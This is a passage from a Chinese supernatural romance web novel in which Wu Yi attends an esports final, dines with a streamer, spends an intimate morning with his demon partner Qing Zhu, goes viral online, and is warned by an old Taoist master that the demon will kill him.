乌宜凑过去,“挂了吧,我买到票了。” “真的?” 李青泉一脸诧异地看向他,想也不想便将电话给挂断了。 得知了来龙去脉,他整个人都激动起来。 “我靠!我就说这个主播肯定不一般,他那操作,说不准以前就是打职业的,不过我记着从前那些战队里的,现在大多数都在实名搞直播啊,他怎么还……” 乌宜不是很懂这些,将之后要请镜吃火锅的事情也告知了他。 “那感情好啊,我还能向他请教请教。” 当天下午,同城快递到了酒店,两人拿到演出票,当天下午闲着没事干就去场馆外面转了一圈,发现已经有不少人在门口开始打卡。 “真热闹,也不知道今年哪个队伍能夺冠。” 乌宜只陪着他看过一点,这会儿看着那些在风中飘散的横幅,问:“你喜欢哪个队伍?” “我喜欢狐队,就是红色的那个,特别帅。” 乌宜认真看了看,发现竟然就是李青泉去驱鬼那天遇见的队伍,还真是有缘分。 李青泉这份激动的心情维持到了开赛当天,乌宜到洲城就有些感冒,所以前两天并没有跟着他一起去,而是等到了决赛的当天戴上口罩帽子出现在场馆外。 里头热情的气氛让他也受到感染,一时间仿佛感知不到身体的不适,那些平时没有太过感觉的游戏打斗画面在这一刻显得尤其有趣。 最终结束时,夺冠的队伍并不是李青泉喜欢的那一支,对此他深感痛惜,但耐不住周围的人都在庆祝,他便也只能装出一副高兴的样子。 “咱们这是坐到对家地盘去了。” 走出场馆,周围气氛仍旧热闹,李青泉还心有不平,乌宜却没心思听他的话,这会儿正在给镜发消息准备跟他会和。 “唉,我们现在是去吃饭吗?刚给我热的一身汗。”李青泉捋捋头发,有点疲惫。 “嗯。”乌宜接到了定位,扭头看他,“镜在停车场,让我们过去找他。” “得嘞。” 马上要见到自己崇拜已久的主播,李青泉又开始收拾那刚剪过的头发,一路都在清嗓子。 到了停车场,乌宜按照指定位置过去,瞧见了一辆并不低调的越野车,驾驶座门打开,有个穿着运动服的青年站在车边,有几个人正围在他身边语气激动地说着些什么。 远远瞧着有些眼熟,似乎……正是李青泉喜欢的那个队伍。 “是他吗?”乌宜震惊无比,不太敢确定,只好拨了一个电话过去。 倒是李青泉的目光全程没有挪开,就跟发现了什么新大陆似的,“我靠,怎么那几个人看着这么眼熟。” 乌宜电话拨通,不远处的青年身边也炸开了土嗨的DJ铃音。 还真是。 青年找出手机看了一眼,接起,准确无误地看向乌宜他们。 “还不过来,一会排队了。” 乌宜反应过来,挂断电话带着李青泉小跑过去。 “你好。” 镜本人看起来很是年轻,目光打量乌宜片刻,然后淡淡地嗯了一声。 “上车吧。”说完,他又转向车外的几人,“赶紧回去吧,比赛完还有不少采访,别在我这浪费时间了。” 言罢,他拉开车门上去,乌宜犹豫着绕到另一边,听见那几人喊他哥。 “都回去吧。” 镜没有丝毫犹豫便发了车,很快便驶出了地下车库。 乌宜有点后悔坐在了副驾驶,但他上车的时候李青泉已经拉开了后座的车门,他觉得两个人都坐在后面不太合适,但现在他和镜离得这样近,似乎也很是尴尬。 正纠结要不要主动开口,最后反而是镜先一步开启了话题。 “不用那么拘谨,我从前跟他们是朋友而已,刚才忘了问你们是不是喜欢这队伍,应该帮你们要张签名的。” “没事没事,我挺喜欢的,但见到人就很满足了。”李青泉笑着开口。 “那还是很可惜的,加在一起还能卖几块钱呢。” 乌宜觉得他有点幽默,忍不住抿住嘴唇笑了笑,而这时,镜忽然侧首看了看他,然后露出个意味不明的笑容。 “你跟你家长辈怎么样了?” 李青泉从后座探出脑袋,满脸问号。 乌宜谁也不敢看,只小声回答:“我们在一起了。” 毕竟镜之前开导过他,所以他也不想要欺瞒。 “挺好。”镜嘴上说着好,却是叹口气,“早知道你长这么漂亮,我就不撺掇你了。” “嗯?”乌宜没太搞明白他的意思。 镜却是敷衍:“开玩笑的,你们吃辣吗?” “吃的。” 李青泉也是点头。 不多时抵达了火锅店,这里位置有些偏僻,外面装修也很简单,一眼看过去像是个小作坊,但是等进了门,里头却是一条金碧辉煌的走廊,一层要绕过长长的走廊才能抵达大厅。 他们预约的是楼上包厢,便由服务生指引他们上楼。 “这地方还真有意思,各种模式的聚会都能办。”李青泉跟在后面念叨。 乌宜也看见了几个西装革履的男人从楼上下来,看起来是喝了酒,春光满面的。 进了包厢,三人落座点过菜,气氛便又诡异起来。 好在镜很快找出充电宝给手机充上电,问他们:“闲着也是闲着,打会游戏吗?” 李青泉受宠若惊:“好啊。” 乌宜也点点头,三人奋战了几局,直到菜都上齐了,镜的实力依然很强,多次力挽狂澜,带着他们连赢了好几把。 边吃边玩,不知不觉时间就很晚了,乌宜对于游戏的热情没有他们那样高,便先一步退出了,起身去外面洗手间。 外头传来喧哗的声音,是几个包厢的客人都吃完准备离开,乌宜跟在他们身后往走廊外走,经过一个包厢,正好瞧见服务生端着餐盘出来。 包厢门缓慢合上,让乌宜看清了门缝中相对而坐的两个人。 其中一人背对着他,而桌对面是个白发苍苍的老人,白色胡须有些长,很像古装剧里面那种仙风道骨的老道士,莫名让乌宜联想到了李青泉的师父空缘大师。 但只是潦草一眼,他也没有完全看清楚。 上完厕所回到包间,李青泉和镜开的那一局游戏也结束了。 三人吃过饭时间已经很晚,出去时两人去洗手间,乌宜嫌屋子里太闷,便自己先下了楼,谁料刚走出大门,便见熟悉的身影立在门口。 封天骄后退一步,车正好从他的身后开走,他看见乌宜怔愣一下,然后便笑着走了过来。 “小宜也在这吃饭,我听先生说你们去玩了,原来还在洲城。” “嗯。”乌宜犹豫片刻,“我们来看比赛,封爷爷,你今天来见客人吗?” “是一个老朋友,他常年不住在这边,两三年我们才能见一次。”封天骄笑容中带着些惆怅,“对了小宜,大东的具体情况我们已经掌握了,应该很快就能找到他,你可别乱跑,我看先生的意思是解决完这件事就要回云京,省得他之后找你。” 乌宜点点头,“我知道的。” 目送封天骄离开,他和李青泉会和,坐着镜的车回到了酒店。 镜表示自己住在隔壁酒店,还会在洲城待几天,给了具体的房间号,便先一步离开。 上楼时,乌宜摸不着头脑:“他和我们说这个做什么?” “肯定是暗示我们可以去找他玩啊。”李青泉今晚始终保持着亢奋的心情,此刻更是达到了顶峰,迫不及待地上楼,说要去查个什么东西。 乌宜不懂,回到酒店先将自己收拾好,正准备给卿烛打个电话,李青泉就猛地冲进房间,脸颊激动到涨红。 “我跟你说,我终于知道镜是谁了!” “谁啊?” “他是狐队原先青训那期最牛的成员!我记得直播的时候很多人喜欢他来着,但之后说是他手意外受伤了,所以还没来得及进入主队,就退出了,那都是好几年前的事情,我到现在还觉得可惜呢!” “这么厉害?”乌宜想了想,“可是他现在也很厉害,上次看他的直播,操作都很厉害,是不是已经治疗好了?” “应该吧,但我也有点想不明白,如果治好了,为什么不再回去打职业呢?” 李青泉百思不得其解,想起来晚上遇见战队那几个人围着镜,又忍不住激动起来,“你还记得我喜欢队伍吗?其实他们里有个成员手伤已经很严重,意识也跟不上了,我猜他们这次就是想让镜回去试试……” 乌宜听完了他的分析,也觉得很有道理,晚上和卿烛打电话便记起这件事。 “你说他是不是也会有心结呢?虽然今天他表现得都很平常,可是我老觉得他的心情似乎不太好。”乌宜说到这里,忍不住趴在床上长叹一口气,“如果你在就好了,能看出来他的状态到底如何。” 卿烛还在封家,此时似乎坐在院子里喝茶,身后是半弧形的拱门,古色古香,与他融合在一起。 “明天我有空。”他说。 乌宜眨眨眼,期待地凑到镜头前,“那你来找我吗?位置你知道的。”就连酒店都是卿烛帮他定的。 “嗯,再看。” 卿烛端起茶盏喝了一口,长发被风微微吹动,拂过冰冷的面部轮廓。 乌宜呆呆地看着画面里的他,忽然唇角往下撇,有点落寞,“卿卿,我想你。” “嗯。” “你不想我吗?” “想。” 乌宜趴在床上,不把脸给他看,“感觉不出来,你就敷衍我。” “想你,所以早点休息。” 毫无关联的话。 乌宜在心底吐槽,但也的确犯困了,便把自己埋进被子里,软声软气:“你给我讲个故事。” 本以为卿烛会拒绝,可对面安静了几秒,低沉的声音缓缓响起,卿烛还真给他说起了一个故事。 “一百年前,有一个无所事事的人……” “你说的不会是你吧?”乌宜忍不住笑着打断。 卿烛笑了笑:“你猜。” “那你继续说。” “他始终认为自己是整个世界最强大的存在,随心所欲,直到有一天,他生出了心魔。” 乌宜合上的眼睁开,心脏忽然颤动一下。 “原本平静的情绪无端变得暴躁,在许多时刻,他几乎无法控制自己的能力,险些犯下了无可挽回的罪孽。”卿烛说到这里顿了顿,“于是他开始寻求治疗自己的方式,那是一条极其漫长的道路,他自大而狂妄,从没想过要为这个世界做出任何牺牲。” “然后呢?” 乌宜听见对面很久没有声音。 “然后他成功了,从此过上幸福美满的生活。” “……” 乌宜觉得别扭极了,“你再瞎说,之后到底怎么样了?” “今天晚了,明天和你说。” “不要。” 乌宜困得眼睛都挣不开,还在小声呢喃着跟他讨价还价。 “就要今天……说嘛……” 对面半天没了声音,他还强撑着要催,可不知不觉就昏睡了过去。 再醒来,意识昏沉,还停留在昨晚和卿烛打电话,眼睛还没有睁开,就意识到身边似乎有什么东西。 乌宜警惕地睁开眼,看清楚搂着自己的人,身体忽然一僵,又惊又喜。 卿烛不知是什么时候来的,此时合着眼,一只手搂着他的腰,是很放松的模样。 只是三天没有见,乌宜心中就满是想念,忍不住抬起头凑上去亲了亲他的唇角。 腰上的手臂微微收紧,意识到卿烛可能要醒了,他想也不想便闭上眼,准备逗一逗卿烛。 呼吸放得轻缓,他假装还没有睡醒,薄薄的眼皮却仿佛有重量压下,像是他熟悉的目光落在上面,让他不由得感到紧张。 感受到热意逐渐靠近,心跳不由得加快。 很轻的呼吸落在他的脸颊上,温热的吻落在嘴唇,他有些吃惊,但还是尽力维持着放松。 没想到卿烛还会趁着他睡着,做这种事情。 心中满是震撼,可更让他诧异的事情还在后面。 卿烛吻过还未离开,舌尖又循着他的唇角分开窜入,轻吮慢挑,炙热的呼吸交融。 乌宜完全招架不住,只能狼狈地睁开眼,伸手把人推开。 “你——” 含糊的声音被打断,卿烛精准地捉住他的两只腕子,缓慢而不容拒绝地扣在头顶,慢条斯理地俯身下来,继续品尝他。 嘴唇被啃噬到发麻,乌宜想要张口求饶,可却被侵略地更深,水液循着唇角湿润一片,脸颊绯红滚烫,后背也软了一片。 不知多久终于被松开,卿烛替他擦拭下巴,又忍不住在那白皙的脸颊上咬了一口。 很轻,可乌宜呜咽一声,还是忍不住掉了眼泪。 “痛。” 脸上留了个红印,卿烛笑了笑,“装睡。” “你好烦。”乌宜摸摸脸,不禁心疼自己,“你赶过来就是为了欺负我。” “我是想你。”卿烛见了面倒是不再吝啬好听的话,砸得乌宜脑袋发晕,顿时也说不出话来了。 “你就知道在欺负完我的时候哄两句。” 卿烛笑笑,松开了他的手,制服轻轻揉了揉那软而光滑的皮肉,察觉到乌宜又想推自己,忽然就卸了力气,压在他的身上。 “你……” 乌宜涨红了一张脸,两只手折叠起来被压在中间,无奈又气愤。 “好重。” 卿烛拢着他,身体几乎将他完全覆盖,俯身吻了吻他带着发香的额角,“不是说想我,就这样想。” 乌宜又怎么会知道他今天这么奇怪,忍不住骂:“色鬼。” 卿烛怔然,继而笑了。 他鲜少笑的这样开心,乌宜都能感觉到他的胸膛微微发颤,心忽然软了下来,只觉得别扭。 “几点了,我要起床。” 卿烛将脸埋进他的侧颈,低声道:“我来时五点。” “这么早。”乌宜费劲地扭头,他没有把窗帘完全拉上,一层纱帘外透着雾蒙蒙的天空,约莫七点左右。 那还可以再睡一会。 但是现在情况这样尴尬,他有些坚持不下去,只好又挣扎一下,“你不要这样压住我,我不舒服。” 话音落下,卿烛忽然动了动腿,然后意识到什么抬起头来,似笑非笑地看着他。 那张妖异的面容上情绪很淡定,可却让乌宜无地自容。 他看不见自己的脸几乎红到滴血,只能嗫嚅道:“早上就是这样的,我们血气方刚的男大很难避免的,又不像你年纪大了……” 话音戛然而止,他忽然身体绷紧,一股电流顺着小腹向上窜,几乎让他难以维持冷静。 又是这招。 虽然已经不是第一次这样亲密,可他还是觉得羞耻,尤其是自己裤子被扒下去,卿烛还穿着睡衣整整齐齐的模样,让他觉得格外羞耻。 心里满是不服气,他忍不住将手伸下去。 卿烛呼吸微滞,却下意识收拢手掌,逼得乌宜又发起了细细的抖。 柔软的手被一同罩住,炙热的温度几乎在灼烧他的掌心,柔嫩的皮肉被蹭得发疼。 “宝贝。”卿烛的呼吸也有些沉了。 血红的眼眸幽深,泛着几乎要吃人的诡异光泽。 “……” 那是一种前所未有的刺激感,乌宜的眼眶蓦然一湿,陌生无比。 他的呼吸还未喘匀,发烫的指尖微微收紧,触到温热的黏腻,让他又羞又恼,有点不敢再去看面前的人。 卿烛的气息平缓,吻了吻他的侧颈,音色中透着显而易见的餍足。 “很乖。” 第53章 卿烛不爱说话, 却很喜欢温存。 直到今天,乌宜才察觉到他的喜好,他原本已经想起来洗个澡的, 可是卿烛还是压在他的身上,手掌拢住他半长的发,轻而柔的吻缓慢落下。 他脸上分明没有什么表情,可乌宜就是从他的身上感觉到无限的珍重和宠爱,这种情感如有实质般沉沉将他压住, 是一种前所未有的满足感。 起初还有些不好意思,可之后发现拒绝也没用,他索性也把自己埋进了卿烛的怀里, 小声哼哼。 “想洗澡。” 卿烛吻了吻他的额发, 沉声答:“好。” 言罢掀开被子,单臂将他往怀中一捞, 便起身进了浴室。 他身上衣服散乱,露出结实的胸膛, 乌宜趴在他宽阔的肩膀上,从镜子里看见了对方侧颈淡淡的咬痕,两颗虎牙咬的小凹坑已经平了, 但还落着红, 他脸颊绯红,还是伸过脑袋去, 在那里轻轻亲了一下。 安慰安慰吧。 李青泉是吃早餐时才发现卿烛到了酒店的,原本轻松的心情顿时又变得沉重,还不忘在下楼吃早餐时嘱咐乌宜。 “咱们今天不是要和镜神去玩吗?卿先生跟着合适吗?” 乌宜没搞懂他的意思,端着盘子去挑自己想吃的东西,“没事呀, 我都和镜说好了。” “哈?” 李青泉欲言又止,看了看坐在窗前的男人。 吃过早餐三人出门,在附近的景点门口会和,镜早早就到了,同卿烛打过招呼,目光频频在卿烛和乌宜的身上徘徊,登山期间时不时回头,身边的李青泉念念叨叨,他良久没找到开口的机会,只好退一步去问李青泉。 “他就是乌宜的男朋友?” 李青泉听见这个关键词就不舒服,总觉得别扭,“是啊,般配不?” 镜打量片刻,却是很认真地点了点头,“挺般配的。” “嗯?” 李青泉忍不住回头看看,瞧见乌宜停下来,站在花丛边上让卿烛给他拍照,笑得很灿烂,又乖又漂亮。 “他们是一起长大吗?”镜抬腿往上走,又问。 李青泉别扭跟上去,“算是吧,反正乌宜是被他看着长大的。” “养成系,还挺有意思。”镜也没多问,“难怪他是这么个性格。” “傻傻的,是吧。” 镜噗嗤一声笑了,“应该是单纯,外加一点娇气,看起来有点像那种被一家子人宠坏的。” 李青泉连忙替乌宜说话:“他脾气挺好的。” “能看出来,被娇惯也是被管大的,养他的人很有分寸。” 后面的乌宜对前面二人的对话一无所知,拍完照抱着手机边看边往前面走,头也不抬,只让边上的卿烛扶着他。 “怎么样?” “嗯。” “那我这个娃娃能送出去吗?”乌宜在口袋里拽了半天,总算把那个圆头圆脑的Q版小人扯出来了。 这是他出发前特意去买的,角色正是镜打游戏时最常用的那个。 卿烛摊开手,接过娃娃,薄薄的黑雾笼罩,将其包裹住,乌宜目不转睛地盯着,等雾气散去才将其从卿烛的手上拿走。 “等到了山顶我就给他。” 其实他刚才也看见了镜不同寻常的动作,他接东西都是用右手,但当做背包这种动作时,都会比较谨慎,不弯折右手腕。 所以,其实当初是伤到了右手腕吧。 难怪他打游戏的时候总是闲散着聊天,即便直播间在线人数再高,也很少连着打几局,每天播的时间也并不长。 抵达山顶,乌宜趁着李青泉去看下山地图,悄悄溜到镜的身边。 镜正举着手机拍照,放下时瞧见小家伙立在自己身边,忍不住笑笑:“干什么?” “我想送你一个礼物。”乌宜没有墨迹,从口袋里把那个娃娃拽出来递过去,“你喜欢吗?我特意给你挑的这个角色。” 镜垂眸一看,是联名款的角色,他记得这个要卖一百多。 “喜欢,你今早去买的?” “嗯嗯,后天你不是就要回去了吗?我还要在这里待几天,所以先送你一个小礼物,让你不要忘记我。” 镜盯着那小玩偶看了半晌,忽然露出很无奈的表情。 “你跟谁说话都这么暧昧吗?” “啊?” 乌宜呆呆地看着他。 镜抬眸,看了眼立在不远处背对着他们的男人,“他不吃醋吗?” 乌宜不自在地抠抠手指头,“有吗?” “有啊,我都快爱上你了。”镜晃了晃那娃娃,直接将其扣在了自己的背包拉链上,“送的礼物还这么合心意,小心我追你。” “……” 乌宜本就不禁逗,听完他这话,两只眼睛睁得老大,俨然一副被吓到的样子。 “好了,开玩笑把你给吓得。”镜哈哈大笑,顺手揉了一把他的头发。 乌宜刚才还是呆的,这会儿却又激动起来,“我的发型!” 他可是特意做的小卷发,刚才因为太热才把帽子摘了,结果这一会就被弄乱。 镜看着他委屈的模样,罕见的也有些不知所措,彼时卿烛拿着他的帽子过来,随手给他捋了捋头发,将帽子扣回去。 乌宜噘着嘴,让镜举起手机,自己对着反光的镜面整理半天,才算是满意了。 “我今天特意打扮了要上来拍照呢。” 镜这才松口气,“行,那我帮你们拍的吧。” 乌宜眨眨眼,又高兴起来,开开心心牵住卿烛的手,跑到自己心仪的拍照位置。 另一边的李青泉回来,瞧见镜也沦为了拍照工具,不由叹息- 一天游玩下来,乌宜心情很好,也收获了一堆特产零食,回去的路上躺在后座犯困。 原以为今天是美满的一天,谁料回到酒店还没多久,一通电话就打破了他的好心情。 通话是在刚开启的群里,乌宜趴在床上,听着电话那头的几个人争论不休,顿时感觉头晕脑胀,“不要吵啦,我都还没怎么听明白呢。” 背景音瞬间安静下来,最后还是程简温声开口:“你先看看今天发的动态。” 乌宜说了声好,点开社交软件,后台依旧是99+,但他还是敏锐意识到了不对。 点开,里面都是一系列震惊发言。 [卧靠卧靠!代了这么久,结果就是弟弟本人吗?] [吃上热乎瓜了,之前谁说一一是炫富假号的,这真到不能更真了好吗?] [哈喽发生什么了?有人能说说吗?] [我主页转发了有人整理的汇总贴,简单来说就是有个博主原本要在线打假博主,正好挑中了这位,然后经过大家分析,发现他的各种行程跟照片和另外一个热点有了莫名的重合,下面是图片] 乌宜倒吸一口气,点开图片,发现都是自己的主页更新和各种图片进行对比。 第一张,是傅流晔出入拍卖会时的拍品清单,右侧搭配了他的几张日常照片,手腕和脖颈上的饰品与拍品一致。 第二张,是他从沈跃演奏会结束时的身影,舞台剧照拍到台下,观众身影模糊,但也能够看出坐在中间的人穿着同样的衣服。 再往后,前段时间盛莲安和程简采访时说的话,也提及了那神秘的弟弟,而他从医院和剧组离开时的照片都被曝晒上去。 看完全部,乌宜简直震撼到无以复加。 这都是什么网友啊,福尔摩斯转世吧。 听见他这边许久没了动静,傅流晔便知道他肯定看完了,安慰道:“不过暂时没露脸,不用太担心,我已经让人压热度了。” 沈跃对此也并不在意,只道:“不是什么大事,让他们知道又怎样。” 盛莲安作为明星,最是清楚这种感觉,“小宜本就喜欢自由自在的生活,现在网络舆论这么大,他肯定会受到些影响。” “……” 乌宜安安静静听着他们说话,半晌没开口。 这样反常,让几人都不由得担心起来。 “小宜,不高兴了吗?” “没有啊。”乌宜像是刚反应过来,正当几人要说话时,他忽然感叹,“好多人夸我诶,原来去投稿我名字的,就是之前那几个总是追着我骂的账号。” “……”傅流晔沉默两秒,正欲安慰,“不用在意这些人。” “他好像挨骂了,现在把几个账号都注销了诶。”乌宜声音里还带着笑,有些幸灾乐祸的意味。 听见他是这么个反应,众人都安静了片刻。 乌宜当然知道他们心里都在想什么,无所谓地说:“没事啦,我又不是很在乎这个,而且他们现在都在夸我,我还涨了好几万粉丝诶。” 他点开详细一点点去算,不禁感到满足。 “早知道是这样,我就早点去蹭这个热度了。” “但这样会不会暴露……”盛莲安有些许顾虑。 “不会。”傅流晔是这里最了解情况的人,“小宜的身份也不过和我们亲近,与其他的词条都没关系,这年头认个干弟弟而已,还用不着别人来置喙。” 沈跃也很支持:“是这个道理。” 乌宜刚才其实也有一瞬间的慌乱,但现在却是放松下来,并不那么在意了。 “没关系的,本来我就是想要记录生活嘛,现在这么多人夸我,还更好。” 几人听后也放松下来,闲聊几句,挂断了电话。 乌宜说着自己要睡觉了,可刚结束聊天立马就从床上蹦了起来,盘着腿气呼呼看向坐在床边的卿烛。 卿烛放下书看向他,“不是要睡觉?” 语气里有明显的戏谑,乌宜盯着他不说话,总算把人瞪得叹口气,站起来抱他。 仿佛找到栖息的安心港湾,他把自己埋进卿烛的怀里,全然没了方才伪装出的不在意模样。 在卿烛面前,他什么都不说,就这么让他抱着,心情好像就变得轻快。 不知过去多久,卿烛以为他都要睡着了,正要将人放回床上,就听见乌宜小声哼唧,“我成名人了。” 卿烛垂眸看看他,掀开被子抱着他躺进去,嗯了一声。 “其实我也有点害怕,如果之后真的有很多人关注我怎么办?”乌宜知道自己的性格,他其实也只是喜欢显摆而已,原先只有那一点粉丝的时候,他觉得很幸福。 发一点什么就会有人夸赞,让他得到了很强烈的满足感。 卿烛淡道:“谁骂你,就杀了他。” 知道他只是在开玩笑,乌宜有点想笑,心情随之放松,转头抱住他。 “我都差点忘记了,我还有个打手在这呢。”- 之后的两天,乌宜完全适应了后台暴增的留言,偶尔还有闲情挑选几条评论回复。 [太神奇了吧,主播怎么做到跟这么多大佬认识的?] [偶然认识的] [我好像偶然间看见过宝宝的照片,好漂亮哦] [谢谢] [之后还会更新吗?好怕你断更] [会的,但是要等我回家哦,你们想看什么呢?] 乌宜挑挑拣拣,确定了自己回家以后要拍摄的东西,发现自己都有好多个铁粉了。 他告诉卿烛,等自己回家以后要给粉丝准备礼物抽着发出去,或许是因为心情大起大落,第二天便感冒咳嗽起来,躺在床上还没想好要送什么,便得到了封天骄那边的新消息,说是找到大东的后人了。 乌宜好说歹说,硬是跟着卿烛一同赶到封家,封天骄已经做好了出发的准备,脸上挂着激动的笑容。 “先生,虽然大东已经去世了,但他的后人还在洲城附近,只不过位置比较偏僻,我们过去需要些时间,事不宜迟,我们可以现在就出发。” 卿烛本也不想再在这多待,自然点了头,只是转头看向一个劲咳嗽的乌宜,蹙蹙眉头还是下了决定,“你在酒店等我。” “为什么?”乌宜咳得脸发红,却依然不甘心,“我也想去的。” “好好养病。”卿烛似乎觉得这样也不妥当,又道,“你先回云京吧。” 乌宜瞪大眼睛,简直怀疑他故意这么说,“我才不。” 他知道卿烛是不放心,想了想觉得自己去好像也没什么用,只好说:“那我就在酒店等你,你要快点回来。” 反正还有个李青泉陪着他,总是能放心的。 卿烛他们出发之后,乌宜便蔫蔫地回到酒店,李青泉拉着他打游戏他也没心情,吃过药就往床上躺。 低烧让他睡出了一背的汗,被李青泉匆忙叫醒的时候还没反应过来,整个人都是懵的。 “快醒醒!” 乌宜迷迷糊糊睁开眼,声音又哑又软,“怎么了?” 房间的窗帘已经被拉开,他看见李青泉面露惊慌,说:“我刚才接到电话,我师傅在山上摔着了,他只跟我说了大致位置,手机就没信号打不通了。” 乌宜的睡意瞬间一扫而空,连忙坐起来,“在哪里啊?我们现在过去吗,你订票了没有?” “就在洲城,不过是在郊区乡下,我刚搜了车程要两个小时。”李青泉呼吸都不稳了,手在微微颤抖,“我刚打了车准备过去,来跟你说一声。” 乌宜有些头疼,想也不想便道:“我陪你去吧,反正我在这里也没什么事情干。” “你还生着病呢。” “咳嗽而已,没什么大事。”乌宜从床头摸了衣服穿上,还不忘记安慰他,“本来我就很想找你师傅帮忙看相,说不定这次就是机会呢。” 他这话让李青泉放松了些许,面前地挤出了笑容,“到现在你还想着占便宜呢。” “这不是跟你学的吗。” 乌宜很快收拾好自己,从行李箱里扯了帽子和围巾戴上,很快便跟他出了门。 坐上车,李青泉给了钱让师傅尽快开,之后的时间便看着窗外,乌宜能感受到他的焦急,端起出发前带的保温杯小口喝着水,就算感觉到饿了也没开口。 虽然是下午,但天色黑蒙蒙的,看起来似乎要下雨。 李青泉更加着急,等终于抵达了目的地,火急火燎下了车,瞧见不远处的山下村子有个破旧的小卖部,又让乌宜在原地等着,自己飞奔进去。 再出来,他手上多了面包和牛奶,一股脑塞进乌宜的手里。 “委屈你先吃点这个填肚子,等找到我师傅,我带你回去吃大餐。” 乌宜早就饿了,这样紧急的情况自然也不会娇气挑食,乖乖跟在他后面小口啃起面包。 有村民带着上山,他们走了没多久,天色变得更黑,李青泉在山上喊他师傅,却始终没得到回应。 “这么一会功夫,不会已经昏过去了吧。” 乌宜本来也想跟着喊,可一张口冷风灌入就咳嗽,只好乖乖闭上嘴跟在后面,朝四处看。 找了一会儿,头顶滚起云雷,李青泉定住脚步,转头看向乌宜,“我让他们先带你下去,这边一会下雨把你淋湿了。” “没关系,我带了伞。”乌宜说。 “你还生病呢。”李青泉难得展现出这样的强硬,“你要是生病了,我没办法跟卿先生交代。” 他说着指挥村民带着乌宜回去,可乌宜却没动,固执地站在原地,“李青泉,我们也是朋友吧,你就只在乎他,不在意我心里会不会过意不去吗?” 李青泉怔了一下,半晌都没说出一句话来。 “要找就赶紧找,你再耽误时间,等下雨了还没找到,你师傅才是真的完了。” 这种时候,乌宜也顾不上说话好不好听,言罢便继续往山上走。 几秒后,李青泉快步追上来,跟他道歉:“我错了,我只是怕你生病而已。” “我没事的。” 乌宜也觉得自己不应该发脾气,叹了口气正要再说点安慰的话,余光一扫忽然注意到什么,“那个是不是?” 李青泉顺着他的目光看过去,整个人怔了一下,立马往那方向跑去。 “师傅!” 乌宜跟在后面扶着树过去,走近便看见李青泉扶着一个白发苍苍的老人,那人脸色不太好看,此时紧闭着眼睛,看起来很是憔悴。 这个人……怎么看起来这么眼熟。 乌宜的心猛然一跳,看着一个高大的村民将李青泉的师傅背起,一行人朝着山下赶,他迟疑地走在后面,前面的李青泉意识到他掉队,又过来牵着他的手腕。 “累了?要不要背?” 他师傅这些年胖了不少,他是背不起,但背一个乌宜还是绰绰有余的。 乌宜摇摇头,“不用,你赶紧去看看你师傅吧。” 下了山,村子里并没有医院,大雨马上要下了,便将李青泉的师傅送到了唯一的中医馆,上架的药品很少,也只有一个老医生坐在里面,简单看过情况,给擦伤的地方包扎了一下。 “应该没什么大事,也没撞着头,一会应该就醒了。” 医生刚说完出去,病床上的人就睁开了眼睛,李青泉一回头看见,顿时激动起来,“师傅!你醒了。” 乌宜坐在床尾烤小太阳,手上握着一个纸杯喝热水,看见老人睁开眼睛,心跳变得更快了。 如果说方才他还抱着一丝侥幸,那现在就再也骗不了自己。 李青泉的师傅,空缘大师,就是上次和封天骄一起吃饭的人。 虽然不知道究竟是为什么,但他却能够感受到一种强烈的不安预感,这两个人待在一起能是因为什么呢? 先前赵机所做的一切还在他脑海中回旋,让他感到后背发凉。 他再度回过神,那边的两人已经聊了不少,确定师傅没什么大事以后,李青泉骤然松口气。 “真是吓死我了,我和乌宜在山上找你都快找疯了知道吗?” 听见这个名字,空缘大师抬起头,朝着乌宜的方向看过来,“这位小朋友也在。” “是啊,他还生着病呢。”李青泉嘟囔,“等您好点了,可得给他好好看看,他一直等着你呢。” 乌宜顿感紧张,却见老人抬起手,冲着他招了招,“过来我看看。” 李青泉表现得很激动,乌宜却很迟钝才站起来,走到床边上,“大师您好。” 李青泉只以为他是拘谨,忍不住在边上笑。 空缘定定地看着他,忽然道:“你该是短命的。” “……” 乌宜没有什么反应,李青泉却脸色一变,在后面一个劲给师傅使眼色。 这可是他朋友,怎么能这么说呢! 空缘却看也未看他,还觉得躺着不好看似的,又艰难地坐起来,视线从头到尾没有从乌宜的脸上挪开。 “邪气漫天,你这是被妖祟近身了。” 乌宜脸色有些苍白,纤长的眼睫微微垂下,片刻后又抬起来,问:“您还看出什么了吗?” 空缘微微眯起眼睛,半晌道:“你再不离他远一些,会出事。” 李青泉头大,忙道:“怎么会,师傅你是不是还没恢复好,要不先休息吧。” 空缘却没有理会他,只是同乌宜对视,那双苍老清明的眼中掠过若有似无的怜悯。 “会出什么事?”乌宜问。 空缘也没有丝毫隐瞒,说:“会死。” “……” 第54章 十分钟后, 李青泉带着乌宜去了外间,那医生还坐在药柜下面刷视频,根本没在意他们。 他看着乌宜苍白如纸的脸, 忙安慰道:“他瞎说的,这你都信啊,我看真是撞到脑子了,我们下次再找他看,等雨停了带他去医院看看。” 乌宜垂着眼, 嗯了一声。 “你别放心上,真的不好意思啊。”李青泉满心歉疚,“卿先生那么厉害, 就算你出了什么事, 我看他也是有办法的,我师傅年纪大了瞎说, 你可别当真了,虽然我之前吹他厉害, 但也不是没犯过错。” “不会的。” 乌宜挤出一个笑容,李青泉却能看出其中的勉强。 不多时,村民端着饭菜来送, 李青泉给乌宜收拾好, 自己拿着剩下那份进了里间,瞧见他师傅躺在床上, 没好气地说:“吃饭。” 空缘坐起来,脸色已经好了不少,全然看不粗方才的憔悴。 看他已经没了大碍,李青泉稍微放下心来,同时也忍不住抱怨:“师傅, 我都跟你说过乌宜帮了我很多,让你给他好好看,你怎么能一开口就说那种话呢?” 空缘冷冷地看了他一眼,说:“我向来只说实话。” “怎么可能啊。”李青泉还是没忍住,反而觉得更加莫名其妙了,“我认识你说的那个妖祟,人家关系挺好的,不是我们平时见过的那种恶鬼。” “既然是恶,又怎么会让你一眼就认出来。” 李青泉啧了一声,“您的意思,难不成我朋友也是被骗了?” “骗不至于。”空缘叹了口气,“无法控制自己力量的邪祟,才是最恐怖的,你不知道它什么时候就会发狂,在那种时候,无论是亲生的孩子还是认识多年的好友,在他们的眼中也只是无关紧要的猎物,这些你不会不懂吧。” 李青泉愣住了,他知道师傅从来不瞎说。 “你要是真的为你朋友好,就让他离那东西远一些,至少还能多几年活头。” “那要是分不开呢?”李青泉和他们相处了这么长的时间,虽然几乎没听过两个人互诉衷肠,可他们待在一起时那种无人能插进去的氛围,足以证实彼此对互相有多么重要。 “那就是死路一条。” “……” 一场大雨席卷村庄,随着夜色降临愈发汹涌狂烈,他们这天晚上只好休息在中医馆。 